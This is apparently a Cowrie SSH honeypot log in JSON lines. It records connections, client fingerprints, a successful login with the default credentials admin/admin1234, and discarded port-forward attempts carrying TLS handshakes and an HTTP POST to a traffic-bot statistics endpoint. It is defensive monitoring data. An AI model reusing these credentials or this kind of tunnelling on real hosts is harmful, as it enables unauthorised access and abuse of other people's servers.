{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.701854Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\xf2\\xd7\\xfd\\x88\\xa6\\x93\\x1d`\\x08\\x97\\x96X\\x92o B\\x90\\xf23u!\\xe0\\xb8\\x10\\\\\\xdd\\x08\\x11\\xa1\\xf7\\xba \\xdf\\xb0\\t3D$\\xf2\\n\\xdep\\x0b\\xf0\\x8f\\xefl\\xb1\\x10/y\"/&BPh\\xd8\\x94\\x8as\\x1e\\xdd\\x1d\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86.\\x13~\\xd3?<LP\\xaa\\x8e0s\\xce\\x96<\\xd1\\x8f\\xfa\\xea5n.H\\xaf\\xfeY9\\xde\\xbcZT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\xf2\\xd7\\xfd\\x88\\xa6\\x93\\x1d`\\x08\\x97\\x96X\\x92o B\\x90\\xf23u!\\xe0\\xb8\\x10\\\\\\xdd\\x08\\x11\\xa1\\xf7\\xba \\xdf\\xb0\\t3D$\\xf2\\n\\xdep\\x0b\\xf0\\x8f\\xefl\\xb1\\x10/y\"/&BPh\\xd8\\x94\\x8as\\x1e\\xdd\\x1d\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86.\\x13~\\xd3?<LP\\xaa\\x8e0s\\xce\\x96<\\xd1\\x8f\\xfa\\xea5n.H\\xaf\\xfeY9\\xde\\xbcZT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.704229Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:23.111089Z","src_ip":"182.93.50.90","session":"55341bb6cae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":63726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab9ee8d7f6a1","protocol":"ssh","message":"New connection: 173.208.188.210:63726 (10.17.0.5:22) [session: ab9ee8d7f6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:23.484207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:23.489744Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:23.673140Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:25.768338Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.126989Z","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.130801Z","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.134503Z","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.171784Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; MX10PRO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36 EdgA/90.0.818.56\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Pm0%2BTzQzUDhsSm4vaD9JNQ%3D%3D%2BeapWlbcbaUr5TDftQcHpP8nXxCBVsd1x4j7jZR%2FKM8yskz1%2BEUHtkAZfNYmSen5JQeegUJWtSpSrKQ5%2F1jxTiZTocdp1DCDWUKrU3FNaHSUzgi9pwq1M%2FYBrE3uxbmQmLTtdnHay4AlYHW8rQcahzo5y3ZEIYep9ZYOevDmoodzjPTACcY4o0zo52RHpqJVTwfYPkMxtoZEsGvb3cmx%2BWCdHmkarU3VVq%2FdFE5To%2BYZ85LR2P3XVlE8L4qqtFvk3cKwczE79vzxWLgtS6ztxyzgmYTq7VoG%2FOJh%2B%2Bps4zoYGV%2FePDdSlYfZp7pGLALS9jwF75K2keCZFLVHsDElz5pm8Gq1ejMJzjwpXdvw0q%2B0YanOdShLBx%2BRJfPWrsYq%2FYBBQM6goHfJ5qZHmqgCHkwHiRSZlV3t%2FnyFFRb%2BjBfhiRuWvwLqfOKVBFC%2FZsO8VqNRB8aMqZyXehJ6lysHCvVTPZ6ARICqEWQ022VgWs6NtZTT95unDjD4LqmYxB%2BjWtOWITs%2Fo2gvVO%2BLnBgvczujgtFDblhH7QABy%2FeOGnkJHj2yx0yZoB7hG4N5f3hJ4GJZEbFs906WTUqaywgfB8uVlE1NpuFJ0j2ttQu2%2F7ZuyEHDjo4tLxQNIepncS3quy6YQEigDJj3txNZop6f2oIkgmtm99MgoVOspro0sBx0FEwkkOM4Ct%2FgFucdk%2BrbJbXzgtdmm%2F7jl%2FUKhCBkF9AE4%2B6U1uUadWMeUq1Nxeb1zdnfXqxS%2BJAEe5wT7HmZmqm1wOnYUr4GAFiY%2Fo2GM4j6LWyG3ll3fJsx7dvoKq3Q0mh9exj8vmGebKjqsaIpHrqzUr7FQquzro%2BWqIsf5Yrq5mN%2BD6oFN9acDHjPrZs93JMYfGUr3awq3bhKTlZnHqmt2ttOCILqqppZ14V1JlHfBvTnM%2BikFO29E8HonDe%2FRpmBul5Ksv7MGknYHfbX9r5mxXAeO9vXZfjhD5qWlOL3FOaNobtZXBVJBi1npNlgZlJa%2BhcpyHmwLSo6%2F%2BEsaNiskqpTktyvZVD%2BbnHu5dI9obG%2FjDynXejmp4qHJ50%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; MX10PRO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36 EdgA/90.0.818.56\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Pm0%2BTzQzUDhsSm4vaD9JNQ%3D%3D%2BeapWlbcbaUr5TDftQcHpP8nXxCBVsd1x4j7jZR%2FKM8yskz1%2BEUHtkAZfNYmSen5JQeegUJWtSpSrKQ5%2F1jxTiZTocdp1DCDWUKrU3FNaHSUzgi9pwq1M%2FYBrE3uxbmQmLTtdnHay4AlYHW8rQcahzo5y3ZEIYep9ZYOevDmoodzjPTACcY4o0zo52RHpqJVTwfYPkMxtoZEsGvb3cmx%2BWCdHmkarU3VVq%2FdFE5To%2BYZ85LR2P3XVlE8L4qqtFvk3cKwczE79vzxWLgtS6ztxyzgmYTq7VoG%2FOJh%2B%2Bps4zoYGV%2FePDdSlYfZp7pGLALS9jwF75K2keCZFLVHsDElz5pm8Gq1ejMJzjwpXdvw0q%2B0YanOdShLBx%2BRJfPWrsYq%2FYBBQM6goHfJ5qZHmqgCHkwHiRSZlV3t%2FnyFFRb%2BjBfhiRuWvwLqfOKVBFC%2FZsO8VqNRB8aMqZyXehJ6lysHCvVTPZ6ARICqEWQ022VgWs6NtZTT95unDjD4LqmYxB%2BjWtOWITs%2Fo2gvVO%2BLnBgvczujgtFDblhH7QABy%2FeOGnkJHj2yx0yZoB7hG4N5f3hJ4GJZEbFs906WTUqaywgfB8uVlE1NpuFJ0j2ttQu2%2F7ZuyEHDjo4tLxQNIepncS3quy6YQEigDJj3txNZop6f2oIkgmtm99MgoVOspro0sBx0FEwkkOM4Ct%2FgFucdk%2BrbJbXzgtdmm%2F7jl%2FUKhCBkF9AE4%2B6U1uUadWMeUq1Nxeb1zdnfXqxS%2BJAEe5wT7HmZmqm1wOnYUr4GAFiY%2Fo2GM4j6LWyG3ll3fJsx7dvoKq3Q0mh9exj8vmGebKjqsaIpHrqzUr7FQquzro%2BWqIsf5Yrq5mN%2BD6oFN9acDHjPrZs93JMYfGUr3awq3bhKTlZnHqmt2ttOCILqqppZ14V1JlHfBvTnM%2BikFO29E8HonDe%2FRpmBul5Ksv7MGknYHfbX9r5mxXAeO9vXZfjhD5qWlOL3FOaNobtZXBVJBi1npNlgZlJa%2BhcpyHmwLSo6%2F%2BEsaNiskqpTktyvZVD%2BbnHu5dI9obG%2FjDynXejmp4qHJ50%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.174834Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.179312Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xf49b\\xb7z|S\\xfeE\\x83\\x1fH\\xe5\\xca\\xcb\\xd1\\xcc\\xb1\\xae4u\\xe8eCESoB\\xb3\\xb5D \\xf8\\xe7J\\xbd\\x1a\\xc7&\\xa9\\x8a\\xf4\\x0f')\\n\\xa7\\xfd\\xb0\\xd4\\xe0\\xf5\\xfc\\n6\\xbb\\xd9\\xc6\\xd8mIZ\\x14~\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 4\\x1a\\xfc\\xfe\\x1a&\\x16<\\x10\\x06l\\x87\\ti\\xe7\\xb1\\xb3/\\xe7:\\x8e\\x19g\\xf0\\xe4\\x8c(])\\x7f$a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xf49b\\xb7z|S\\xfeE\\x83\\x1fH\\xe5\\xca\\xcb\\xd1\\xcc\\xb1\\xae4u\\xe8eCESoB\\xb3\\xb5D \\xf8\\xe7J\\xbd\\x1a\\xc7&\\xa9\\x8a\\xf4\\x0f')\\n\\xa7\\xfd\\xb0\\xd4\\xe0\\xf5\\xfc\\n6\\xbb\\xd9\\xc6\\xd8mIZ\\x14~\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 4\\x1a\\xfc\\xfe\\x1a&\\x16<\\x10\\x06l\\x87\\ti\\xe7\\xb1\\xb3/\\xe7:\\x8e\\x19g\\xf0\\xe4\\x8c(])\\x7f$a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.182084Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.351852Z","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.395701Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
